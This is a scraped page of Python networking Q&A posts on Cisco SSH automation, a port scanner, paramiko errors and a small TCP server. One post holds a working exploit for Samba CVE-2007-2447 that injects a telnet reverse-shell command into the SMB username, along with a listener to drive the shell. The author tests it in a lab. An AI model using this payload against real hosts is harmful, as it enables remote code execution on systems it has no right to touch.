Python Script to configure (via SSH) Cisco Switches - python

I have a lot of cisco switches and routers in my environment. I have three sets of credentials (only one of them works with a particular device. I then have the IPs listed in a notepad (sub.txt). And the configuration in another notepad (config.txt)
The aim is to push the configurations (line by line) from config.txt to the list of list of IP via SSH. If the command is accepted by the devices, a log should be put into success.txt and if the command is not accepted for some reason, a log should be appended to fail.txt
But this does not work. Can you please help me fix?
import paramiko
import time
import sys
import logging
import socket
import pexpect
import traceback
from pexpect.popen_spawn import PopenSpawn
remote_conn_pre = paramiko.SSHClient()
remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ips = [i.strip() for i in open("sub.txt")]
user_local = "user1"
pass_local = "pass1"
user_aspac = "user2"
pass_aspac = "pass2"
user_batcca = "user3"
pass_batcca = "pass3"
g = open('config.txt', 'r+')
str = g.read()
g.close
success = open('success.txt', 'a')
fail = open('failed.txt', 'a')
paramiko.util.log_to_file("paramiko.log")
for ip in ips:
try:
remote_conn_pre.connect(ip, username=user_local, password=pass_local, timeout=4, look_for_keys=False, allow_agent=False)
#print ("SSH connection established to %s" + ip)
remote_conn = remote_conn_pre.invoke_shell()
print (ip + ' === local credential')
#remote_conn.send("show switch\n")
remote_conn.send((str))
time.sleep(2)
output = remote_conn.recv(5000)
print (output)
except paramiko.AuthenticationException:
try:
remote_conn_pre.connect(ip, username=user_aspac, password=pass_aspac, timeout=4, look_for_keys=False, allow_agent=False)
remote_conn1 = remote_conn_pre.invoke_shell()
print ip + ' === Global Credentials'
#output = remote_conn.recv(500)
#remote_conn.send("show switch")
#remote_conn.send("\n")
remote_conn1.send((str))
time.sleep(2)
output1 = remote_conn1.recv(5000)
print (output1)
except paramiko.AuthenticationException:
try:
#remote_conn_pre.connect(ip, username=user_batcca, password=pass_batcca, timeout=4, look_for_keys=False, allow_agent=False)
#remote_conn2 = remote_conn_pre.invoke_shell()
child = pexpect.popen_spawn.PopenSpawn('ssh ' + user_batcca + '#' + ip)
child.expect ('[pP]assword:')
child.sendline(pass_batcca)
print ip + ' === BATCCA Credential'
#output2 = remote_conn2.recv(5000)
for line in open('Config.txt').xreadlines():
child.sendline(line)
i = child.expect (['#', '^'])
if i==0:
success.write(ip + '\t' + line +'\n')
elif i==1:
fail.write(ip + '\t' + line +'\n')
time.sleep(5)
output2 = child.recv(5000)
print (output2)
except paramiko.AuthenticationException:
print ip + ' === Bad credentials'
remote_conn3 = remote_conn_pre.invoke_shell()
output3 = remote_conn3.recv(5000)
print (output3)
except paramiko.SSHException:
print ip + ' === Issues with ssh service'
except socket.error:
print ip + ' === Device unreachable'

Related

python Port scanner that reads ports from . txt

My issue is that I have a ports.txt file in it has 4 port numbers. I wish for this program to scan all port numbers specified within the txt file. currently It will only scan the first port number listed in the txt file against the 40 odd IP addresses. I hope my formatting is correct and my detail is enough. ty
import socket
import os
import sys
from datetime import datetime
import win32evtlogutil
import win32evtlog
def main():
### call step 1 function
ipList = network_addr()
# call step 2 function
portList = read_ports()
print(portList)
#call step 3 function
for ip in ipList:
for port in portList:
scan_ports(ip,port)
# call step 4 function
report_to_EventViewer(ipList[0:10], 2) # warning
#report_to_EventViewer(ipList, 1) # error
# processing inputs
# Step 1: process input 1 (subnet or network address):
def network_addr():
while True:
ip_list = []
subnet_Addr = input('Enter a Class-C Network Address or subnet with format (x.x.x): ')
subnet = subnet_Addr.split('.') # subnet is a list of 3 items (octets)
try:
if (len(subnet)==3 and 192<=int(subnet[0])<=223 and 0<=int(subnet[1])<=255 and 0<=int(subnet[2])<=255):
#return subnet_Addr
print('valid subnet: ',subnet_Addr)
for ip in range(11,40,2):
ip_temp = subnet_Addr + '.' + str(ip)
ip_list.append(ip_temp)
return ip_list
else:
value = 'wrong subnet entered'
print(value)
except ValueError:
print('wrong subnet entered, octects must be digits')
# Step 2: process input 2 (read port numbers from ports.txt):
def read_ports():
with open("ports.txt", 'r') as file_path:
port_list = []
for port in file_path:
try:
if int(port) in port_list:
print(f'port: {port} already exists')
else:
port_list.append(int(port))
except:
print(f'the port number: {port} is not a valid integer')
return port_list
else:
print('ports.txt is empty \n .... Exiting Port Scan App')
sys.exit()
# Step 3: scan ports
def scan_ports(ip,port):
# to get and format system time
dateTimeObj = datetime.now()
timeStamp = dateTimeObj.strftime("%d-%b-%Y (%H:%M:%S)")
try:
# open log file
with open("ip_port_log.txt","+r") as log:
# create client socket
socket.setdefaulttimeout(0.1)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((ip,port))
if result == 0:
data = "IP:" + ip + ":" + str(port) + " Open " + timeStamp
# write_to_console or display on screen
print(data)
# write in log file
log.write(data + "\n")
else:
data = "IP:" + ip + ":" + str(port) + " Closed/Filtered or host is offline " + timeStamp
# write_to_console or display on screen
print(data)
# write in log file
log.write(data + "\n")
# close the client socket
sock.close()
except socket.error:
print("Can't connect to IP: ", ip)
sys.exit()
except KeyboardInterrupt:
print("User pressed Ctrl+c")
sys.exit()
# Step 4: Report to Event Viewer
# output 3
def report_to_EventViewer(mylist, eventtype):
IP_EVT_APP_NAME = " CheckIPPort - IP-Port Scan Application"
IP_EVT_ID = 7040 ##According to ???
IP_EVT_CATEG = 9876 ##According to ???
IP_EVT_TYPE = win32evtlog.EVENTLOG_WARNING_TYPE # WARNING=2
IP_EVT_ERR = win32evtlog.EVENTLOG_ERROR_TYPE # ERROR=1
IP_EVT_STRS = mylist
IP_EVT_DATA = b"Scan IP Address Event Data"
win32evtlogutil.ReportEvent(IP_EVT_APP_NAME, \
IP_EVT_ID, \
eventCategory=IP_EVT_CATEG, \
eventType=eventtype, \
strings=IP_EVT_STRS, \
data=IP_EVT_DATA)
main()
you issue is in your read_ports method, you return inside the loop so it will ALWAYS only read the first one. Rewrite the method to something like:
def read_ports():
with open("ports.txt", 'r') as file_path:
port_list = []
for port in file_path:
try:
if int(port) in port_list:
print(f'port: {port} already exists')
else:
port_list.append(int(port))
except:
print(f'the port number: {port} is not a valid integer')
if not len(port_list):
print('ports.txt is empty \n .... Exiting Port Scan App')
sys.exit()
return port_list

Python : get running_config from cisco switch by SSH(Paramiko) OR TELNET(Telnetlib)

I need some help for a script in Python. it works for few times, but I just added some time.sleep() and now the script won't work : It did not connect to switch by SSH or Telnet.
I also need some tips to optimize it, because i'm not pro and i would like to learn more on scripting.
Thank you !
(Sorry commentaries in french :/)
import paramiko, time, re, os
from ciscoconfparse import CiscoConfParse
import telnetlib
###cherche hotes depuis fichier hosts.txt###
with open("./hosts/hosts.txt","r") as f:
hosts = re.findall(r'(\d+.\d+.\d+.\d+)', f.read())
f.close()
###boucle pour chaque hotes###
for host in hosts:
state = ""
running_config = ""
try:
###Connexion SSH switch###
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host, username='admin', password='XXXXX')
###création shell interactif###
connection = client.invoke_shell()
###commande enable###
connection.send("enable\n")
time.sleep(1)
connection.send("XXXX\n")
###commande running-config###
connection.send("terminal length 0\n") ###Permet l'affichage de l'intégralité des commande###
time.sleep(1)
connection.send("show running-config\n")
###récupération commande running-config###
resp_run = connection.recv(10000).decode(encoding='utf-8')
###fermeture sessions SSH###
connection.close()
client.close()
###Traitement running-config###
regex = re.compile(r'(Current configuration : (.+\n)+end)')
res = re.findall (regex, resp_run)
running_config = res[0][0] ###aide appel variable
except:
###si fail SSH test telnet###
state = "SSH NOK "###Permet génération rapport###
try:
###connexion telnet si SSH NOK###
session = telnetlib.Telnet(host, 23)
session.write(b"admin\n")
session.read_until(b"Password: ")
session.write(b"XXXXXX\n")
time.sleep(1)
session.write(b"enable\n")
session.read_until(b"Password: ")
session.write(b"XXXXXX\n")
session.read_until(b"#")
session.write(b"term len 0\n")
session.write(b"show run\n")
res = session.read_until(b"\nend").decode('utf-8')
###fermeture session telnet###
session.close()
###récupération commande running-config###
regex = re.compile(r'(Current configuration : (.+\n)+end)')
res = re.findall(regex, res)
running_config = res[0][0] ###aide appel variable###
except:
state += "TELNET NOK"###Permet génération rapport###
###Création fichier running_config.txt + dir selon host###
newpath = ('./config_switch/'+host+'/')
if not os.path.exists(newpath):
os.makedirs(newpath)
f = open("./config_switch/"+host+"/running_config.txt", "w+")
f.write(running_config)
f.close()
###test ssh telnet pour rapport###
if not state:
print (host+" OK")
else:
print (host+" : "+state+" ERREUR")
###generation rapport###
f = open("./rapport.txt","a")
f.write(state)
f.close()
###arrêt de 2sec par sécurité###
time.sleep(2)
You should have a good error handling mechanism if you have different version/model devices in your network. So we use below functions for some of operations these might help you.
Code (SSH Connection):
#Make Connection To Device Through SSH (If returns None Do Not Proceed)
def connectToCPESSH(ip, uname, pin, CI_LOCAL_ID, CI_Name, CI_Org_Name, runIDnull):
ip = ip.strip()
SSHCliente = None
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=22, username=uname, password=pin,
timeout=240,banner_timeout=250, auth_timeout=500)
SSHCliente = client.invoke_shell()
return SSHCliente
except paramiko.ssh_exception.SSHException as ssh1Err:
return "Equipment SSH version error : " + str(ssh1Err)
if isinstance(SSHCliente, paramiko.channel.Channel):
SSHCliente.close()
sys.exit()
return None
except Exception as e:
if isinstance(SSHCliente, paramiko.channel.Channel):
SSHCliente.close()
try:
tln = telnetlib.Telnet(ip)
print("Use Telnet Access to " + str(e) + " ### " + str(t))
except Exception as t:
print("Crab! Both Telnet and SSH Connection Failed ! " + str(e) + " ### " + str(t))
return None
So, in above code we try to connect via SSH and if we get an error about SSHException we log it and if we get any error try Telnet (this is optional, we use Telnet for some old devices).
Code (Wait For Prompt: Only HW and Cisco)
#Wait Prompt For The First Connection
def waitForPrompt(cxn):
appendedScrnRslt = ""
lastScrnRslt = ""
routerType = ""
outerLoop = True
timerx = 0
while outerLoop == True:
tempScrn = cxn.recv(65100).decode('ascii')
if(lastScrnRslt != tempScrn):
appendedScrnRslt += tempScrn
lastScrnRslt = tempScrn
if("#" in tempScrn or ">" in tempScrn or "]" in tempScrn):
if("#" in tempScrn):
routerType = "Cisco"
if(("<" in tempScrn and ">" in tempScrn) or ("[" in tempScrn and "]" in tempScrn) ):
routerType = "Huawei"
break
timerx += 1
if(timerx >= 100):
logging.warn("Uppss! No Connection")
routerType = "N/A"
break
return routerType
Waiting prompt is curicial, if you act early your command will not be send to device, and if you act late your cxn might be terminated. So, just checking for prompt (HW: , Cisco: your-router-name#) is better.
Code ( Send and Receive ):
#Send Command and Recevie CIdatafromSQL
def sendCmdToSSH(cxn, cmd, routerType, timeout):
appendedScrnRslt = ""
lastScrnRslt = ""
cxn.send(bytes(cmd+ "\x0D", 'utf-8'))
time.sleep(2)
timery = time.perf_counter()
while time.perf_counter() - timery <= timeout:
if(routerType == "Cisco"):
tempScrn = cxn.recv(65100).decode('ascii')
if(lastScrnRslt != tempScrn):
appendedScrnRslt += tempScrn
lastScrnRslt = tempScrn
arrTmp = tempScrn.split('\r\n')
arrTmp.reverse()
if("#" in arrTmp[0]):
break
arrTmp = []
if(routerType == "Huawei"):
tempScrn = cxn.recv(65100).decode('ascii')
if(lastScrnRslt != tempScrn):
appendedScrnRslt += tempScrn
lastScrnRslt = tempScrn
arrTmp = tempScrn.split('\r\n')
arrTmp.reverse()
if(">" in arrTmp[0] or "]" in arrTmp[0] ):
break
arrTmp = []
return appendedScrnRslt
Send and receive needs a timeout in order to break connection if some error occurs and we definetly need screen results too.
Code (To Get All Running Config From Cisco):
singleSSHCxn = connectToCPESSH(ip, uname, pin, CI_LOCAL_ID, CI_Name,
CI_Org_Name, runIDnull)
sendCmdToSSH(singleSSHCxn, "terminal length 0", "Cisco", 120)
cliResult = sendCmdToSSH(singleSSHCxn, "show running-config", "Cisco", 200)
sendCmdToSSH(singleSSHCxn, "exit", "Cisco", 120)
Hope this will solve your issue.

Python - Socket Appears to be Failing to Accept Connection

Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.

How can i make a tcp server without a client

How can i make it so when someone connects to port 8080 they see the login screen and password instead of a client joining, for example i opened putty up and i clicked protocol "RAW" i put the I.P of 208.67.1.1 <- example I.P and port 8080 nothing shows but i don't get a connection refused.
Here's my code:
import sys
import time
from socket import *
sock = socket(AF_INET, SOCK_STREAM)
USER = "Haze"
PASS = "Myinternet202"
HOST = "0.0.0.0"
PORT = 8080
sock.bind((HOST, PORT))
sock.listen(1)
nickname = raw_input("Nickname: ")
if nickname == "%s" % (USER):
credentialsU = True
else:
credentialsU = False
if credentialsU == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
password = raw_input("Password: ")
if password == "%s" % (PASS):
credentialsP = True
else:
credentialsP = False
if credentialsP == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
if credentialsU == True and credentialsP == True:
while True:
main = raw_input("> ")
logs = open("logs.txt", "a")
logs.write("" + nickname + " -> " + main + "\r\n")
logs.close()

Unable to ssh to remote server using paramiko module

I am trying to ssh to a remote server using python paramiko module. I need to include the key file dynamically. My code is given below.
import getpass
import paramiko
server = raw_input("What is the server name? ")
username = raw_input("Enter the username: ")
passphrase = getpass.getpass(prompt="Enter your passphrase: ")
key = '/home/%s/.ssh/id_rsa' % username
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(server, username=username, password=passphrase, key_filename=key)
stdin, stdout, stderr = ssh.exec_command('df -h')
print stdout.readlines()
ssh.close()
I am able to work with the code if I provide the key path directly instead of using the variable.
The error I am getting is:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python2.7/dist-packages/paramiko/client.py", line 237, in connect
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(hostname, port, socket.AF_UNSPEC, socket.SOCK_STREAM):
socket.gaierror: [Errno -2] Name or service not known`enter code here`
seems like you have some dns error here, Pasting my script to get ssh status over here, that is dealing all the exceptions (at least I have noted so far)
#!/bin/python3
import threading, time, paramiko, socket, getpass
from queue import Queue
locke1 = threading.Lock()
q = Queue()
#Check the login
def check_hostname(host_name, pw_r):
with locke1:
print ("Checking hostname :"+str(host_name)+" with " + threading.current_thread().name)
file_output = open('output_file','a')
file_success = open('success_file','a')
file_failed = open('failed_file','a')
file_error = open('error_file','a')
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host_name, username='root', password=pw_r, timeout=5)
#print ("Success")
file_success.write(str(host_name+"\n"))
file_success.close()
file_output.write("success: "+str(host_name+"\n"))
file_output.close()
# printing output if required from remote machine
#stdin,stdout,stderr = ssh.exec_command("hostname&&uptime")
#for line in stdout.readlines():
# print (line.strip())
except paramiko.SSHException:
# print ("error")
file_failed.write(str(host_name+"\n"))
file_failed.close()
file_output.write("failed: "+str(host_name+"\n"))
file_output.close()
#quit()
except paramiko.ssh_exception.NoValidConnectionsError:
#print ("might be windows------------")
file_output.write("failed: " + str(host_name + "\n"))
file_output.close()
file_failed.write(str(host_name+"\n"))
file_failed.close()
#quit()
except socket.gaierror:
#print ("wrong hostname/dns************")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
except socket.timeout:
#print ("No Ping %%%%%%%%%%%%")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
ssh.close()
def performer1():
while True:
hostname_value = q.get()
check_hostname(hostname_value,pw_sent)
q.task_done()
if __name__ == '__main__':
print ("This script checks all the hostnames in the input_file with your standard password and write the outputs in below files: \n1.file_output\n2.file_success \n3.file_failed \n4.file_error \n")
f = open('output_file', 'w')
f.write("-------Output of all hosts-------\n")
f.close()
f = open('success_file', 'w')
f.write("-------Success hosts-------\n")
f.close()
f = open('failed_file', 'w')
f.write("-------Failed hosts-------\n")
f.close()
f = open('error_file', 'w')
f.write("-------Hosts with error-------\n")
f.close()
with open("input_file") as f:
hostname1 = f.read().splitlines()
#Read the standard password from the user
pw_sent=getpass.getpass("Enter the Password:")
start_time1 = time.time()
for i in hostname1:
q.put(i)
#print ("all the hostname : "+str(list(q.queue)))
for no_of_threads in range(10):
t = threading.Thread(target=performer1)
t.daemon=True
t.start()
q.join()
print ("Check output files for results")
print ("completed task in" + str(time.time()-start_time1) + "seconds")

Categories

Resources